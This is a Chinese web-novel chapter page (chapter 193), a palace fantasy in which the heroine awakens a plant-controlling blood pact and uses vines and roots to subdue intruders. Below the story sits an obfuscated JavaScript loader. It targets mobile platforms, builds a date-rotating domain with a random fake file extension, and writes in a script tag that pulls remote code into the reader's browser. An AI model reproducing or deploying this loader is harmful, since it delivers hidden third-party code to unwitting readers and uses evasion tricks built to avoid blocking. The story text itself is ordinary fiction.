返回第193章 契启一重·林啸惊雷  宋烨茹首页

关灯 护眼     字体:

上一章 目录 下一章

月至中天时,苏蘅将密卷贴身藏好,提了盏罩着青纱的灯笼出了偏院。

她走得极轻,靴底几乎没沾湿石板上的夜露——方才在书房里,窗下的月季悄悄告诉她,戌时三刻御苑巡逻队会换班,西角门的守卫要去茶房暖手。

此刻月光漫过朱红宫墙,她顺着墙根往御苑最深处挪,耳中全是草木的私语:“往左两步,那株海棠后面有绊马索”“当心,假山后蹲了只守夜的狸猫”。

忘忧林的轮廓在夜色里渐次清晰。

萧砚曾说这里的古木从不开花,此刻望去果然如此——枝干粗如巨蟒,树皮皲裂如刀刻,连半片叶子都无。

但苏蘅的指尖抵在胸口发烫的花灵印上,忽然闻见一缕极淡的兰香,像浸了晨露的丝帕,在风里轻轻一撩。

“在老槐树的气根下。”她听见自己喉间溢出半句,连她自己都惊了——这声音分明来自记忆里的密卷,又像是从地底升起来的。

灯笼微光扫过树根,果然见一丛幽蓝的花。

龙须兰的花瓣薄如蝉翼,每一片都凝着月光,叶尖却泛着暗红,像沾了血。

苏蘅蹲下身,指尖刚触到花瓣,整株兰突然抖了抖,叶片上的露珠“啪嗒”落进她掌心,凉得她打了个激灵。

“要滴血。”她想起密卷里“月圆为引,忘忧为媒”的血字,咬了咬牙,从发间取下银簪。针尖刺破指尖的瞬间,她听见兰根下的泥土发出“滋滋”声,像是久旱的地喝到了水。

血珠坠落的轨迹被月光拉成红线,刚触到兰根,整座忘忧林突然震颤起来。

“轰——”不是雷声,是所有古木的根须在地下翻涌的声音。

苏蘅被震得踉跄后退,灯笼“哐当”摔在地上,青纱烧了起来,却在碰到龙须兰的瞬间熄灭。

她盯着自己的手——鲜血正顺着指缝往下淌,可那些血没有落地,而是被抽进了兰根,像一条红绸钻进地缝。

一股热流从脚底直冲头顶。她的瞳孔骤然收缩,看见空气里浮动着无数绿色的光粒,是松针的呼吸,是苔藓的心跳,是远处御苑外柳树的新枝在抽芽。“原来这就是十里感知”她喃喃着,忽然发现自己能同时听见上百种草木的声音:东边桃林的碧桃在抱怨夜露太凉,南边竹苑的湘妃竹在说今天小宫女多浇了半盏水,甚至连御膳房外那丛被踩蔫的薄荷,都在委屈地喊“疼”。

“苏蘅。”声音从四面八方涌来,像山涧里的泉水漫过岩石。

苏蘅抬头,看见雾气中浮起一道半透明的身影——是梦境守护者,上次在血契密卷里见过的,衣袂翻飞如碎玉,眉眼却模糊得像被水洗过。

“看。”守护者抬手,指尖荧光落在龙须兰上。画面在苏蘅眼前炸开。

她看见一片花海,漫山遍野的花,牡丹、芍药、杜鹃、寒梅,全都在她看不见的力量下同时绽放;她看见一个穿青衫的女子站在花海里,抬手时,枯木抽枝,抬手时,洪水退去,再抬手时,连天上的雷云都被扯成了丝,化作细雨落进龟裂的田。

“这是万芳主?”苏蘅的声音发颤。

“她以血为契,与天地草木立誓。”守护者的声音轻得像花瓣落地,“你体内的花灵血脉,是她留给人间的火种。现在,你要以同样的方式,唤醒这火种。”

苏蘅感觉心口的花灵印烫得要烧穿皮肉。

她望着幻境里的万芳主,望着那些因她而活过来的草木,突然明白帝后说的“责任”是什么——不是掌控,是守护。

“我愿以血为誓。”她脱口而出,话音未落,那股热流突然在体内炸开。

忘忧林的古木同时发出“哗啦啦”的声响,这次不是震颤,是抽芽。

粗粝的树皮裂开,嫩绿的新芽像急着见光的孩子,争先恐后地钻出来;龙须兰的花瓣全部舒展开,幽蓝变成鎏金,每一片都在发光,照得整座林子亮如白昼。

苏蘅伸开双臂,风掀起她的衣袖。

她试着调动御苑外围的一片松林——念头刚起,三十株松树的枝桠同时向中间收拢,松针根根竖起,在林间织成一道密不透风的墙。“原来协同操控”她指尖微颤,“是这样。”

苏蘅猛地转头,她听见了——不是草木的私语,是人的脚步声。

很轻,却带着刀鞘擦过灌木的沙沙声,还有某种熟悉的腥气,像被血浸过的布,正从御苑西墙方向逼近。

她的指尖按在松针屏障上,感知如蛛网般铺展开。

十里内的草木瞬间安静下来,连刚才抱怨夜露的碧桃都屏住了呼吸。然后,她听见最清晰的那声——

“咔嚓。”是碗口粗的青冈木被生生折断的声音,在寂静的夜里,像一根针,扎破了所有的安宁。

苏蘅的指甲几乎掐进掌心。松针屏障外的脚步声突然顿住,她听见为首那人低喝:“停——这林子不对。”草木的震颤顺着她的感知传来,那是三十七个活人,腰间悬着淬毒短刃,靴底沾着焚心谷特有的红土——方才龙须兰的幻境里,她见过这种土,沾在魔宗余党的鞋上。

“是焚心谷的人。”她喉间溢出一声冷笑,指尖轻轻叩了叩身侧的老槐树。

树身立刻抖了抖,最深处的枝桠垂下来,在她耳边低语:“他们腰间挂着引魂铃,是来劫人的——霜影使者还关在御苑地牢。”

三十七个心跳声在她耳边炸开。苏蘅深吸一口气,后颈的花灵印仍在发烫,那是契启后的力量在翻涌。

她望着松林外影影绰绰的火把光,忽然想起方才幻境里万芳主抬手时的模样——不是要摧毁,是要守护。

可此刻,她想让这些践踏草木的人,尝尝被自然反噬的滋味。

“东边第三棵马尾松,根系往南延伸三尺。”她闭了闭眼,意识顺着松针的脉络流淌,“荆棘丛,缠住左边那个穿皮甲的;野藤,抽右边拿火把的——留活口。”

松林突然发出呜咽般的啸声。

最先反应过来的是守卫长,他玄铁刀刚出鞘半寸,脚腕便被什么东西猛地一拽——低头看时,竟是老槐的气根从地底钻出来,像条活物似的缠上了他的小腿。“见鬼!”他挥刀去砍,刀身却卡在树根里,越挣扎,气根缠得越紧,树皮裂开,渗出黏糊糊的树胶,将刀刃死死粘住。

“老大!”身后传来惨叫。

拿火把的喽啰被荆棘丛卷上了树,刺尖扎进他的肩窝,血珠顺着荆棘的刺脉往下淌,竟被吸得干干净净;另一个试图冲过去的喽啰更惨,脚刚踏进松针屏障,地面突然隆起,碗口粗的青冈木根须破土而出,直接将他的右腿绞成了麻花,疼得他当场昏死过去。

苏蘅站在忘忧林中央,月光落在她发间的银簪上。

她能清晰感知到每一根藤蔓的力度,每一根荆棘的刺尖,像在指挥一场精心编排的舞——只不过舞者是草木,舞伴是敌人的惨叫。“原来协同操控”她望着被树根吊在半空的守卫长,嘴角勾起一抹冷意,“是让每株植物都成为我的眼睛、我的手。”

“萧世子到——”远处传来马蹄声。

苏蘅转头,正看见萧砚勒马停在御苑西角门,玄色披风被夜风吹得猎猎作响。

他的目光扫过被藤蔓捆成粽子的喽啰,最后落在她身上,眼底的冷意瞬间化作担忧:“你可伤着?”

“我没事。”苏蘅摇头,指尖轻轻一勾,缠在守卫长颈间的野藤便松了些。守卫长咳着坠地,玄铁刀“当啷”掉在她脚边。

她弯腰拾起刀,刀刃映出她泛红的眼尾——那是契启后未褪尽的力量,“你们不该来。”

话音未落,整座忘忧林突然发出轰鸣般的咆哮。

苏蘅抬手,方才还光秃秃的古木同时抽出新芽,嫩绿的枝桠如利剑般刺向天空;她再抬手,御苑外的竹林沙沙作响,竹枝缠上最后几个试图逃跑的喽啰,将他们倒吊在半空;她第三次抬手时,头顶的云层突然裂开,惊雷炸响,豆大的雨点砸下来,却在离她三尺外凝成雨幕,像给她罩了顶水晶伞。

萧砚翻身下马,大步走到她身边。

他望着那些被草木制得死死的敌人,又望向她泛着金光的眼瞳,喉结动了动,最终只说了句:“我就知道。”

“知道什么?”苏蘅转头看他,雨幕里,他的眉眼比平时更清晰。

“知道你会站在这里,让所有人明白”萧砚伸手替她拂去发间的雨珠,“万芳主从未离开过。”这一战的余波比暴雨来得更快。

第二日,御苑的牡丹开得比往年早了整月,太医院的老院首摸着花瓣直叹气:“这哪是花,是苏姑娘的本事。”民间更传得玄乎,说昨夜御苑有仙音,说苏蘅抬手能召雷,抬脚能生花,连卖菜的老妇都念叨着:“万芳主再临,咱们的苦日子要到头了。”

只是没人注意到,地牢里被押着的霜影使者,在被带走时悄悄捏碎了袖中玉牌。

一缕黑雾从玉牌里钻出来,顺着通风口飘向焚心谷方向,最后消散在晨雾里——那是赤焰夫人留下的引魂香,能追踪到千里之外。

“这才只是开始。”千里外的焚心谷,赤焰夫人望着镜中浮动的黑雾,指尖划过案上的血契残卷。

她身后的青铜鼎里,火焰正舔着半块烧焦的龙须兰花瓣,火星噼啪作响,像在应和她的低笑。

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");